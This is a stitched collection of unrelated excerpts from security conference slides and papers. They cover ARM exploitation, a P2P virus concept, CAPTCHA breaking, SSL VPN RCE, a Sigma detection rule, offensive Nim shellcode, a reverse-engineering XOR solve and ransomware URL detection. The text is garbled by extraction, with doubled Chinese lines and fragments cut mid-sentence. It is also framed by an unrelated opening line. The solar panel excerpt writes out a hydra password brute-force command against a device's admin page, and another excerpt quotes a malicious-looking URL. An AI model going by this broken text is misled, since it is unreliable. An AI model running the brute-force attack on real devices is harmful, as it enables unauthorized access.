Aleksandr Lyapunov 1906, statist


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2013 tenacitysolutions.com 1835 Alexander Bell Drive, Suite 100, Reston, VA 20191 703-673-3100 Weaponizing your Pets! The War Kitteh and the Denial of Service Dog! DefCon! 10 August 2014! !  2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100 Introductions!  Gene Bransﬁeld @gbransﬁeld!  Principle Security Engineer @ Tenacity!  I Love My Job!  They want my job!  They cant have it!  2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100 What is This About?!  Having a humorous idea!  Bringing Ideas to Fruition!  Stories of Triumph and Woe!  Valuable Lessons Learned! !  2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100 Weaponize your PETS!?!?!  2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100 Background:!  15% of the worlds Internet trafﬁc is dedicated to Cats!  I ﬁnd most tech brieﬁngs boring, so I use pics of cats to help keep people awake! !  2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100 The pic that started it all:!  2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100 Just Finished a Presentation "!  Someone told me they were going to give me this tracking collar that they won!  GPS!  Cellular!  Told you where the Kitteh was at all times!  add a little wiﬁ sniffer and wed have a WAR KITTEH!!!!  2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100 What about the DoS Dog?!  AT Outerz0ne!  LadyMerlin walked in with a dog wearing a harness that said Denial of Service Dog!  I said Is there a Pineapple in there?!  No, the dog is a pain, but thats a geat idea!!  2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100 Working Animals!  2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100 Bad Ass Working Animals!  2013


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============= Non-Executable Stack ARM Exploitation ================= 0.- Introduction 1.- ARM Assembly 1.0 - Exploitation of ARM vs. X86 when stack isn't executable 1.1 - ARM calling convention (APCS) 1.2 - Why simple ret2libc will not work? 1.3 - Understanding the vulnerable function 2.- ARM Exploitation 2.0 - Controlling the PC 2.1 - Ret2ZP (Return To Zero Protection) - For Local Attacker 2.2 - Ret2ZP (Return To Zero Protection) - Attack Explained in Depth (For Remote Attacker) 2.3 - Ret2ZP - R0..R3 Adjustments 2.4 - Ret2ZP - Using the attack to enable stack 2.5 - Ret2ZP - Hacking Android based phone 3.- Conclusion 4.- Acknowledgments 5.- Author 6.- References --[ 0.- Introduction This paper is describing techniques to exploit stack-based buffer overflows and to get more familiar with ARM exploitation in the modern age - where ARM stack isn't executable. This research was made to understand the risks on modern ARM devices in-order to prevent them by suggesting solutions. Disclaimer: When using parts from this paper, you should still credit the authors of this paper and point to an updating link of this paper as a reference. Ret2ZP Attack is described fully and can be preformed at your own ARM devices. I will claim no responsibility for doing yourself or other damage. It's on your own risk. This paper is assuming basic knowledge in X86 assembly or ARM assembly. Also, knowledge of exploitation techniques may assist understanding the paper (when stack is not executable, such as ret2libc attacks). Stack buffer overflow bugs are caused when a program writes more data to a buffer located on the stack than there was actually allocated for that buffer. How can a BO be used? (I) A user can locally run commands to elevate privileges and gain control over a mobile-device. (II) A user can remotely exploit a phone, to gain control over a remote phone to execute commands. This paper intends to show theres still a risk in current implied security mechanism for devices using ARM


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Virus Impossible Virus Impossible CIH<Software Magician> CIH<Software Magician> ＥＭＡＩＬ ＥＭＡＩＬIamCIH IamCIHＡＴ ＡＴgmail gmailＤＯＴ ＤＯＴcom com GIGA GIGA--BYTE TECHNOLOGY CO., LTD. BYTE TECHNOLOGY CO., LTD. 2009/07/18 2009/07/18 PDF created with pdfFactory Pro trial version www.pdffactory.com 這一天 這一天  怎會這樣我的電腦被駭客入侵了什麼螢幕 怎會這樣我的電腦被駭客入侵了什麼螢幕 出現倒數 出現倒數10 10秒就要把我電腦整個資料破壞 秒就要把我電腦整個資料破壞  螢幕出現倒數 螢幕出現倒數10~9~...1~0 10~9~...1~0秒 秒 最後出現一串字 最後出現一串字Just Kidding Just Kidding  本台記者報導今天下午在同一瞬間全世 本台記者報導今天下午在同一瞬間全世 界電腦都出現這個訊息 界電腦都出現這個訊息""You've been You've been hacked hacked""幸好駭客最後沒有真正破壞電腦資 幸好駭客最後沒有真正破壞電腦資 料但是已經引起全世界極度惶恐從未有這樣 料但是已經引起全世界極度惶恐從未有這樣 事情發生過各國政府機關資安單位全面關切 事情發生過各國政府機關資安單位全面關切 中駭客的下一步是什麼 中駭客的下一步是什麼  PDF created with pdfFactory Pro trial version www.pdffactory.com 前言 前言 這篇文章的想法只是一個很初步的簡單雛 這篇文章的想法只是一個很初步的簡單雛 形並沒有實際驗證過也或許藏著一些 形並沒有實際驗證過也或許藏著一些 不可能實現的技術或是錯誤的想法就 不可能實現的技術或是錯誤的想法就 以技術討論的話一定會有更大的改善空 以技術討論的話一定會有更大的改善空 間裡面的論點都基於 間裡面的論點都基於理想 理想狀態沒有 狀態沒有 細節分析所有可能性若是要完整實現整 細節分析所有可能性若是要完整實現整 個系統將是非常複雜的事情因此此 個系統將是非常複雜的事情因此此 篇內容只是提供大家另一種病毒可能 篇內容只是提供大家另一種病毒可能 行為的思考 行為的思考 PDF created with pdfFactory Pro trial version www.pdffactory.com 行為模式 行為模式 u u 病毒 病毒 u u 蠕蟲 蠕蟲 u u 感染行為 感染行為  鑽網路漏洞 鑽網路漏洞  感染執行檔 感染執行檔 u u 殭屍網路 殭屍網路((BotNet BotNet) ) u u P2P P2P u u 動態執行 動態執行Function Function PDF created with pdfFactory Pro trial version www.pdffactory.com 基本背景 基本背景 u u Super Node Super Node中毒電腦具有 中毒電腦具有Public IP Public IP   建立 建立Node Node彼此間的連線 彼此間的連線((協助穿越 協助穿越NAT) NAT)   除此之外就跟一般 除此之外就跟一般Node Node完全相同 完全相同 u u Node Node所有全部的中毒電腦 所有全部的中毒電腦((包括 包括Super Super Node) Node)  u u 一般 一般Node Node不包括 不包括Super Node Super Node的 的Node Node  u u 這些 這些Node Node彼此會有 彼此會有2~5 2~5個連線交集成一個病 個連線交集成一個病 毒網路系統 毒網路系統 PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com 病毒的架構 病毒的架構 u u Function Layer Function Layer  接收 接收Command Command若沒有這個 若沒有這個Command Command所需要的 所需要的 Function Function就會去病毒網路系統尋找 就會去病毒網路系統尋找 u u Network Packet Layer Network Packet Layer  接收來自 接收


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HITCON 2013 : CYBERWAR, IN HACK WE TRUST JUL. 19-20, 2013 How can I have 100 0-day for just 1-day Version : Draft Speak by R3d4l3rt 1 HITCON 2013 Introduction I. How can I found bug easily? III. Project Overview II. How can I have about one hundred vulnerability for just 1 days IV. Outline  Introduction of speaker  I just want to find a lot of vulnerability  Think it easier and Change ones way of thinking  How can we found vulnerabilities  About ActiveX  APT Attacks via Active-X (Cases Study)  Introduction Automatic sample collections tool (Demo) Introduction Auto Install sample tool (Demo)  Introductions Fuzzer  Introductions Exploit  Result of Tested  Examples (Active X Vulnerability) 2 HITCON 2013 Introduction I. How can I found bug easily? III. Project Overview II. How can I have about one hundred vulnerability for just 1 days IV. Outline  Introduction of speaker  I just want to find a lot of vulnerability  Think it easier and Change ones way of thinking  How can we found vulnerabilities  About ActiveX  APT Attacks via Active-X (Cases Study)  Introduction Automatic sample collections tool (Demo) Introduction Auto Install sample tool (Demo)  Introductions Fuzzer  Introductions Exploit  Result of Tested  Examples (Active X Vulnerability) 3 HITCON 2013 Introduction Who Speaker Introduction Louis Hur is corporate president and Chief Executive Officer (CEO) of NSHC Corporation. He co- founded NSHC with four Hackers in 2003 while studying at the University, and was the first CEO until now Mr. Louis brings more than 15 years of field-proven experience security and bug hunting businesses that help clients reduce their enterprise-wide IT security risk. Prior to starting NSHC, He is a frequent speaker on Internet security issues and has appeared as an expert on various media outlets, including HK TV and MBC, KBS. Experience (2010 ~ 2013) - 2013 Vulnerability Analysis of NSHCs R3d4l3rt Teams. (Discovered 0-day many times. ) - 2011 Black-Hat Abu Dhabi Speaker - 2010 CSO Con


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CAPTCHAs: Are they really hopeless? ( Yes ) Completely Automated Public Test to tell Computers and Humans Apart Why? Protect from automated abuse. Examples The Problem  Really hard for a computer  Hard for a person  So they cant be too hard CAPTCHA Breaking  Is it worth it?  $$ value per CAPTCHA solved  Retooling Cost Automation?  Is automation worthwhile?  CAPTCHA Farms  How much do they really cost?  Accuracy requirement? Two Approaches  Attack the implementation  Attack the actual CAPTCHA (by solving it) Implementation Issues  Not enough server side state  Map request to token  Has token been used before?  Problem:  Try to break more than once  Reuse solutions Server State function ts_is_human($ts_random, $string) { global $ts_random, $site_key; $datekey = date("F j"); $rcode = hexdec(md5($site_key . $ts_random . $datekey)); $code = substr($rcode, 2, 6); return $string==$code; } Source: http://coffelius.arabandalucia.com Lousy Encoding  CAPTCHA solution encoded in URL or form parameters captcha_image.php?x=8&y=20 <input type="hidden" name="cap" value="c4ca4238a0b923820dcc509a6f75849b"> Multiple Requests  Different images for same CAPTCHA.  Easy way to pump up accuracy. Lousy RNG  Most generators not secure  Difﬁculty  Truncated output  Intermediate requests  Multiple servers  Sleep easy. md5(rand) Lousy RNG function generate_code($len) { $code = ''; for($i = 1; $i <= $len; $i++) { $code .= charset{rand(0, strlen(charset)  1)}; } return $code; } Source: http://www.phpcaptcha.org Just for kicks, lets take a closer look. PHP rand PHPAPI long php_rand(TSRMLS_D) { long ret; if (!BG(rand_is_seeded)) php_srand(GENERATE_SEED() TSRMLS_CC); #ifdef ZTS ret = php_rand_r(&BG(rand_seed)); #else # if defined(HAVE_RANDOM) ret = random(); # elif defined(HAVE_LRAND48) ret = lrand48(); # else ret = rand(); # endif #endif return ret; } random()? man random random.c The random() function uses a non-linear additive feedback random number generator employing a default table of size 31


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0-7803-8367-2/04/$20.00 2004 IEEE Abstract-- Techniques and methods currently exist to detect if a certain type of rootkit has exploited a computer systems. However, these current techniques and methods can only indicate that a system has been exploited by a rootkit. We are currently developing a methodology to indicate if a rootkit is previously known or if it is a modified or entirely new rootkit. We present in this paper an application of our methodology against a previously unseen rootkit that was collected from the Georgia Tech Honeynet. We conduct our analysis process against this rootkit and are able to identify specific characteristics for subsequent detections of this rootkit. This ability will provide system administrators, researchers, and security personnel with the information necessary in order to take the best possible recovery actions. This may also help to detect and fingerprint additional instances and prevent further security instances involving rootkits. Index Terms-- forensics, Honeynet, rootkits, signatures I. INTRODUCTION Rootkits are a phenomenon that has recently drawn attention. Prior to rootkits, system utilities could be trusted to provide a system administrator with accurate information. Modern crackers have developed methods to conceal their activities and programs to assist in this concealment [1]. Rootkits are a serious threat to the security of a networked computer system. Modern operating systems are subject to a variety of exploits that allow hackers to gain root access on networked computer systems. This in turn, provides hackers with the ability to install rootkits on these compromised systems. System administrators need to be aware of the threats that their computers face from rootkits as well as the ability to recognize if a particular rootkit has been installed on their computer system. Part of our efforts is the use of a Honeynet to collect new rootkit type exploits. Rootkits are also available from other sources including th


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import struct import sys import base64 if len(sys.argv) != 2: print "Usage: %s data" % sys.argv[0] exit(0) data = sys.argv[1] padding = 4 - len(data) % 4 if padding != 0: data = data + "\x00" * padding result = [] blocks = struct.unpack("I" * (len(data) / 4), data) for block in blocks: result += [block  block >> 16] output = '' for block in result: output += struct.pack("I", block) print base64.b64encode(output)


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Abusing Bleeding Edge Web Standards for AppSec Glory Bryant Zadegan Ryan Lester Advisor/Mentor CEO, Co-Founder Mach37 Cyph keybase.io/bryant hacker@linux.com @eganist @TheRyanLester  Does AppSec stuff, usually.  Mentors security startups, sometimes.  Mentors others on AppSec, occasionally.  Paid a buck to make Steve Ballmer dance, but just once.  Runs an E 2EE communication startup  Codes for an E 2EE communication startup Ran QA automation at a  rocket factory Got sued by Napster (and  not for piracy) Bleeding Edge Web Standards For Your (Ab)use, we'll talk about these: But Why? Source: Harold & Kumar Go to White Castle  New standards are frequently drafted.  Many introduce unforeseen complications.  Novel uses encourage future tweaks. S R I  Validate resources beyond your trust (e.g. CDNs) <script src="https://code.jquery.com/jquery.min.js" integrity="sha256-[hash] sha256-[hash2]" crossorigin="anonymous" fallback-src="jquery.min.js"> </script>  caniuse.com/subresource-integrity S R I  Validate resources beyond your trust (e.g. CDNs) <script src="https://code.jquery.com/jquery.min.js" integrity="sha256-[hash] sha256-[hash2]" crossorigin="anonymous" x-sri-fallback="jquery.min.js"> </script>  caniuse.com/subresource-integrity BUILDER DEMO heisenberg.co/srifallbackdemo/ Kneel to the demo gods SOURCE (Simplified BSD) github.com/cyph/sri-fallback Do source gods even exist? CSP  Combines semi-strict header with strict <meta>.  Allows for pre-loading of trusted complex logic.  Does not work for the verbs frame- ancestors, report-uri, or sandbox. BUILDER DEMO heisenberg.co/metacspdemo/ Fall on thy sword for the demo gods. CSP Considerations  Static content only in initial response! CSP  Best for adapting a semi -recent application for use with CSP.  Application s trusted static logic is allowed to execute on initial load.  Meta -Hardening prevents dynamic content from potentially executing later on.  This can break sites. Use !  (Chrome 46+ only; no reporting in Firefox )


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# T1078-003-win-来自公网的登陆失败行为 ## 来自ATT&CK的描述 VPNCitrix等远程服务及其它访问机制允许用户从外部访问企业内部网络资源通常有远程服务网关来管理这些服务连接和凭据认证Windows远程管理等服务也可以在外部使用 攻击者可能会通过远程服务来访问网络或在网络中停留通常用户须使用有效账号才能访问服务攻击者可能会通过凭据欺骗或入侵企业网络从用户侧获取凭据来获得有效账号权限在操作期间对远程服务的访问可用作冗余访问的一部分 ## 测试案例 windows账户登录失败 ## 检测日志 windows 安全日志 ## 测试复现 场景较简单请自行测试 ## 测试留痕 windows安全事件IDwin7/win2008+ ## 检测规则/思路 ### Sigma规则 ```yml title: 来自公网的登陆失败行为 description: 从公共IP登录可能表明防火墙或网络边界配置错误 author: NVISO 12306Br0(翻译+测试) date: 2020/05/06 tags: - attack.initial_access - attack.persistence - attack.t1078 - attack.t1190 - attack.t1133 logsource: product: windows service: security detection: selection: EventID: 4625 #登陆失败 unknown: IpAddress|contains: '-' privatev4: IpAddress|startswith: - '10.' #10.0.0.0/8 - '192.168.' #192.168.0.0/16 - '172.16.' #172.16.0.0/12 - '172.17.' - '172.18.' - '172.19.' - '172.20.' - '172.21.' - '172.22.' - '172.23.' - '172.24.' - '172.25.' - '172.26.' - '172.27.' - '172.28.' - '172.29.' - '172.30.' - '172.31.' - '127.' #127.0.0.0/8 - '169.254.' #169.254.0.0/16 privatev6: - IpAddress: '::1' #loopback - IpAddress|startswith: - 'fe80::' #link-local - 'fc00::' #unique local condition: selection and not (unknown or privatev4 or privatev6) falsepositives: - 互联网上的合法登录尝试 - IPv4到IPv6映射的IP level: medium ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1078-003 <https://attack.mitre.org/techniques/T1078/003/>


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Infiltrating Corporate Intranet Like NSA Pre-auth RCE on Leading SSL VPNs Orange Tsai (@orange_8361) Meh Chang (@mehqq_) USA 2019 Orange Tsai  Principal security researcher at DEVCORE  Captain of HITCON CTF team  0day researcher, focusing on Web/Application security orange_8361 Meh Chang mehqq_  Security researcher at DEVCORE  HITCON & 217 CTF team  Focus on binary exploitation Highlights today  PreAuth root RCE exploit chain on Fortinet SSL VPN  Hard-core binary exploitation  Magic backdoor  PreAuth root RCE exploit chain on Pulse Secure SSL VPN  Out-of-box web exploitation  Highest bug bounty from Twitter ever  New attack surface to compromise back all your VPN clients Agenda  Introduction  Jailbreak the SSL VPN  Attack vectors  Case studies & Demos  Weaponize the SSL VPN  Recommendations SSL VPN  Trusted by large corporations to protect their assets  Work with any network environments and firewalls  Clientless, a web browser can do everything! SSL VPN Browser SSL/TLS Intranet What if your trusted SSL VPN is insecure? Why focusing on SSL VPN 1. Important corporate assets but a blind-spot 2. Widely used by corporations of all sizes 3. Only few SSL VPN vendors dominate the market 4. Direct Intranet access and must be exposed to outside Even NSA is hunting bugs on SSL VPN Think about Equation Group leaks They are usually forgotten A silent-fix case  We accidentally found a preAuth RCE on Palo Alto SSL VPN during our Red Team assessment  A silent fixed 1-day:  No CVE  No advisory  No official announcement Hacking Uber as showcase Response from Palo Alto PSIRT Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know. Number of high severity CVEs 159 50 26 17 13 6 Cisco F5 Palo Alto Citrix Fortinet Pulse Secure https://nvd.nist.gov We fo


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Nim https://nim-lang.org/ Nim,,js WebAssembly brew install nim brew install mingw nimble install winim gcl https://github.com/byt3bl33d3r/OffensiveNim demo Oﬀensive Nim Nim Oﬀensive Nim Test minidump_bin dump  shellcode shellcode_bin demo


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# 3-异或 --- 目标 T3.exe 使用 IDA 打开,找 main 函数,并做基本的分析重命名函数 可以看到对比 T2.exe ,循环这里的每个字符+1变成了字符与i异或 转换的代码是 ```c for ( i = 0; i < strlen(v4); ++i ) v4[i] = i; ``` 编写相应 python 脚本 ```py data=[0x66,0x6D,0x63,0x64,0x7F,0x5C,0x49,0x52,0x57,0x4F,0x43,0x45,0x48,0x52,0x47,0x5B,0x4F,0x59,0x53,0x5B,0x55,0x68] for i in range(len(data)): data[i]=i print(bytearray(data)) ``` C语言版本 ```c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { char aaa[]={0x66,0x6D,0x63,0x64,0x7F,0x5C,0x49,0x52,0x57,0x4F,0x43,0x45,0x48,0x52,0x47,0x5B,0x4F,0x59,0x53,0x5B,0x55,0x68,0x00}; for(unsigned int i=0;i < strlen(aaa);i++) aaa[i]=i; printf("%s",aaa); return 0; } ``` --- **Source & Reference** - [萌新学逆向T3 有趣的异或运算](https://mp.weixin.qq.com/s/zxkId2CYi5-inUnG0JTsCg)


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Aug 2017 Senior Malware Scientist ,Trend Micro spark@trendmicro.com HITCON Source: https://ransomwaretracker.abuse.ch/tracker/cerber/ booster[0]: 0:[f1<127.5] yes=1,no=2,missing=1 1:[f7<28.5] yes=3,no=4,missing=3 3:[f5<30.95] yes=7,no=8,missing=7 7:[f0<5.5] yes=15,no=16,missing=15 15:leaf=-1.89091 16:leaf=-0.5 8:[f6<0.9045] yes=17,no=18,missing=17  Pros  Easy to program  Very fast training  Perform well against tabular input data  Use human intelligence and heuristics  Cons  Hard to debug when it mis-predicts  Development cost is high  Feature engineering is required Cell x Cell Xt Yt Cell y Cell z Cell . Cell t Cell w Answer h t t t W Cell i Cell k Cell 3 Cell . Cell h Cell k Answer Softmax 0.6 0.2 0.1 Cryptolocker Clean Locky Cerber-RIGEK 0.1 Fully Connected Source: https://stats.stackexchange.com/questions/273465/neural-network-softmax-activation Source: http://colah.github.io/posts/2015-08-Understanding-LSTMs/ Source: http://colah.github.io/posts/2015-08-Understanding-LSTMs/ Source: https://arxiv.org/pdf/1409.0473.pdf  Symbols do not carry their natural semantics within them whereas continuous signals such as audios and videos do. www.facebook.com/n/?kjoha GRU GRU GRU GRU Emb Emb Emb Emb Emb Emb GRU GRU GRU GRU GRU Shortest URLs Longest URLs  Cryptolocker Clean Locky Cerber-RIGEK  Feature  Dataset  Sourcing  Legitimate URLs: Akamai log  Cryptolocker: Malware operations team  Locky v2/ Cerber-RIGEK : Ransomware tracker  Splits  train : validation : test = 0.1 : 0.1 : 0.8 Before Training After Training  Undetected URL from test-cryptolocker.txt www.leriov.com:80/leriov3/player1.php?id=aH!BeF0cHM6 Ly9waG90b3MuZ29vZ2xlLmNvbS9zaGFyZS9B!BeFjF!BeFaXBNOH B!BeFcmplbEEydU!BeFPX3ZZQTBLel!BeFKdjNmWVItMUFaM1UxQ 1UtX25oWDho!BeFjNTaDh!BeFaEs0bF85WXNlYVVySUNBP2tleT1 NMDV3YjB!BeFelNtVXpj@bfgo2TFdKVk1YQX!BeFjWHBOY0VKdGF FdElhMHBS&id2=  Analysis This URL was misplaced in the test cryptolocker sample list. So this missed detection is a correct behaviour.  Training and Testing by th


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Betrayal of Reputation Trusting the Untrustable Hardware and Software with Reputation Seunghun Han Senior Security Researcher at National Security Research Institute 29 May 2019 - Senior security researcher at NSR (National Security Research Institute of South Korea) - Influencer Member of Black Hat Asia 2019 - Review Board Member of KIMCHICON - Speaker at - USENIX Security 2018 - Black Hat Asia 2017 - 2019 - HITBSecConf 2016 - 2017 - BeVX and KIMCHICON 2018 - Author of 64-bit multi-core OS principles and structure, Vol. 1 and Vol. 2) - a.k.a kkamagui @kkamagui1 Who Am I? - Introduce a stereotype about reputation - REPUTATION does not mean TRUSTWORTHINESS! - Unfortunately, we easily trust something because of REPUTATION! - Present the case that the reputation betrays you - BIOS/UEFI firmware and Trusted Platform Module (TPM) were made by REPUTABLE companies! - However, I found two vulnerabilities, CVE-2017-16837 and CVE-2018- 6622, that can subvert the TPM - Present countermeasures and what we should do - Trust nothing with REPUTATION and check everything for yourself! Goal of This Talk Previous Works Reputation is based on trust! We just believe products of reputable companies trustable Reputable Companies (High Price) Other Companies (Low Price) for you! for presents! Reputable Companies (High Price) Other Companies (Low Price) for you! for presents! I KNOW WHAT YOU DID FOR THE PRESENTS! Trusted Building Block Root of Trust for Measurement Core RTM Reputable products are really trustable? Reputable Trustable! Everyone has a plan, until they get punched in the mouth. - Mike Tyson Everyone has a plan, until they get punched in the mouth. - Mike Tyson Every researcher has a plan, until they encounter their manager. - Unknown You Every researcher has a plan, until they encounter their manager. - Unknown Manager CEO Timeline ~~ Happiness 0 5 10 - 10 - 5 - 1000 - 100 2017 2018 2019 Time (year) First Encounter Second Encounter CVE-2017- 16837 CVE-2018- 6622 USENIX Securi


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01 02 03 MS Just Gave the Blue Team Tactical Nukes (And How Red Teams Need To Adapt) 2 IBM Security Who is this Drew Carey Look Alike On Stage?  Red Team Ops Lead at IBM X-Force Red  I conduct red teaming operations against defense contractors and some of North Americas largest banks  On the board for CREST USA (crest-approved.org)  I teach network and mobile pentesting  I like mountain biking, drones, and beer  Its my first time, be gentle  Canadian, sorry not sorry 3 IBM Security Lab Background  3 domains within 2012R2 Forest & 2016 Forest, connected via 2-way Forest Trust  3000~ users  ATP RS2 running on 10x Windows 10 1703 boxes with all ATP default and preview features enabled  10x 2012R2/2016 member servers running SQL 2012, etc.  Both forests have an ATA 1.8 Lightweight Gateway running 1.7 since March, upgraded to 1.8 early July 4 IBM Security Tactical nukes? wut? Red Team Blue Team 5 IBM Security Were Talking Post Breach Source: https://blogs.microsoft.com/microsoftsecure/2016/11/28/disrupting-the-kill-chain/ 6 IBM Security ATPs Cloud-Based Management Dashboard Intro 7 IBM Security Alert Process Tree 8 IBM Security Incident Graphs 9 IBM Security Host Management 10 IBM Security Upcoming Windows 10 Fall Creators Update w/ ATP Release 3 Defender brand expanded to include:  Windows Defender AV  Windows Defender Advanced Threat Protection  Windows Defender Exploit Guard (EMET)  Windows Defender Application Guard  Windows Defender Device Guard  Credential Guard  Extended to cover the Windows Server platform, starting with Windows Server 2012 R2 and 2016, Linux Source: https://blogs.windows.com/business/2017/06/27/announcing-end-end-security-features-windows-10/ 11 IBM Security 12 IBM Security Gaining a Foothold w/ Out Of The Box Payloads 13 IBM Security Obfuscated Payloads 14 IBM Security Oh right, they talked about PSv5 security last year...  Suspicious Strings are already flagged in PSv5 by default  PowerShell v5 has Script Block Logging on by default.  AMSI is


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All Your Solar Panels are belong to Me FRED BRET-MOUNET Who am I?  Disclaimer:  This presentation is based on information I gathered through my research. It is full of omissions and inaccuracies due to my own lack of knowlege and incompetency.  This research has performed on my (extensive) spare time. My employer has nothing to do with this content.  WarGames (1983)  the first movie about a hacker? A hacker is one who enjoys the intellectual challenge of creatively overcoming limitations of software systems to achieve novel and clever outcomes. Gehring, Verna (2004). The Internet In Public Life. This is the topic of today! Tigo Energy  Maximizer Management Unit  (Remotely) Manages individual Solar Panels through Bluetooth.  In emergency conditions, can (remotely) disable the array by shutting down individual solar panels.  Reports performance back to the Cloud. Tigo Energy  Maximizer Management Unit  (Remotely) Manages individual Solar Panels through Bluetooth.  In emergency conditions, can (remotely) disable the array by shutting down individual solar panels.  Reports performance back to the Cloud.  Can be used for performance SLAs Tigo Energy  Maximizer Management Unit  (Remotely) Manages individual Solar Panels through Bluetooth.  In emergency conditions, can (remotely) disable the array by shutting down individual solar panels.  Reports performance back to the Cloud.  Can be used for performance SLAs Where it started Attack Surfaces - Logical  Open Access Point  httpd  Dns  Ssh  Serial to tcp  Dhcp  Unknown UDP 5002 Attack Surfaces - Physical  uBoot  Console  Rs-489  USB host  Emergency Button Open Access Point  Thanks https://wigle.net/ !  Located 160+ out of ~1000 with 24/7 open AP.  10000+ with limited window of opportunity for open AP. Open Access Point httpd Alls lost! httpd Not really! Hydra to the rescue: hydra -l admin P rockyou.txt -v http://192.168.1.10:80/ httpd Not really! 36 hours later: Admin/Support httpd  One page caught my attention!  And anothe


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Insecure.Org Insecure.Org Mastering the Nmap Scripting Engine by Fyodor and David Fifield http://insecure.org/presentations/BHDC10/ Black Hat Briefings Las Vegas July 28; 4:45 PM; Augustus 5+6 Defcon 18 July 30; 5:00 PM; Track One Insecure.Org Insecure.Org Abstract Most hackers can use Nmap for simple port scanning and OS detection, but the Nmap Scripting Engine (NSE) takes scanning to a whole new level. Nmap's high-speed networking engine can now spider web sites for SQL injection vulnerabilities, brute-force crack and query MSRPC services, find open proxies, and more. Nmap includes more than 125 NSE scripts for network discovery, vulnerability detection, exploitation, and authentication cracking. Rather than give a dry overview of NSE, Fyodor and Nmap co- maintainer David Fifield demonstrate practical solutions to common problems. They have scanned millions of hosts with NSE and will discuss vulnerabilities found on enterprise networks and how Nmap can be used to quickly detect those problems on your own systems. Then they demonstrate how easy it is to write custom NSE scripts to meet the needs of your network. Finally they take a quick look at recent Nmap developments and provide a preview of what is soon to come. This presentation does not require any NSE experience, but it wouldn't hurt to read http://nmap.org/book/nse.html. Insecure.Org Insecure.Org Resources These slides are just a teaser. Final slides will be posted by August 1, 2010 to http://insecure.org/presentations/BHDC10/. Our goal is to make this presentation useful, informative, and entertaining even to those who know very little about Nmap and the Nmap Scripting Engine. But you can get the most out of this presentation by first reading about (and trying!) Nmap at http://nmap.org and the Nmap Scripting Engine at http://nmap.org/book/nse.html. Insecure.Org Insecure.Org Nmap Scripting Engine http://nmap.org/nsedoc/ # nmap -T4 -A scanme.nmap.org Starting Nmap 5.30BETA1 ( http://nmap.org ) Nmap scan repo


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1 Copyright  2011 Juniper Networks, Inc. www.juniper.net AppSecure Brad Woodberg, Juniper Networks bwoodberg@juniper.net twitter: @bradmatic517 Defcon 2011 Network Application Firewalls: Exploits and Defense 2 Copyright  2011 Juniper Networks, Inc. www.juniper.net AGENDA Discussion  Beyond Layer 4  App-FW Explained  Can Do / Cant Do, Vulnerabilities and Limitations  Exploitation in Action  Getting it Right Key Issues  Application Firewalling does not replace traditional security mechanisms like stateful firewall and full IPS  Application Firewalling has limitations even when properly implemented, there are also a number of potential network pitfalls.  How to properly deploy this technology in conjunction with traditional security mechanisms. 3 Copyright  2011 Juniper Networks, Inc. www.juniper.net HTTP/1.1 200 OK Content-Type: text/html Server: Apache Date: Wed, 09 Feb 2011 Cache-Control, private <malicious javascript, aurora exploit, shellcode> EVOLUTION Client: 1.1.1.1 Server: 2.2.2.2 Src-IP: 2.2.2.2, Dest-IP: 1.1.1,1, Src-Port 80, Dest-Port 2481, Protocol TCP, (SYN/ACK) Src-IP: 2.2.2.2, Dest-IP: 1.1.1,1, Src-Port 80, Dest-Port 2481, Protocol TCP, (ACK) Stateful Firewall Application Firewall Full IPS GET /index.html HTTP /1.0 Host: www.google.com User-Agent: Mozilla/5.0 Accept: text/html Accept-Language: en-us Accept-Encoding Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1 Keep-Alive: 115 Connections: keep-alive Access List 4 Copyright  2011 Juniper Networks, Inc. www.juniper.net WHATS NEW? 1. Application Identification (AppID) goes beyond traditional stateful firewalls by inspecting some Layer 7 payload to identify the application. 2. AppID does not inspect the entire session like full IPS, and only identifies the application, not other activity like exploits. 3. AppID has actually be around for a long time in numerous technologies, but was not typically a user controlled feature. 5 Copyright  2011 Juniper Networks, Inc. www.juniper.net APPID PATTERN MAT


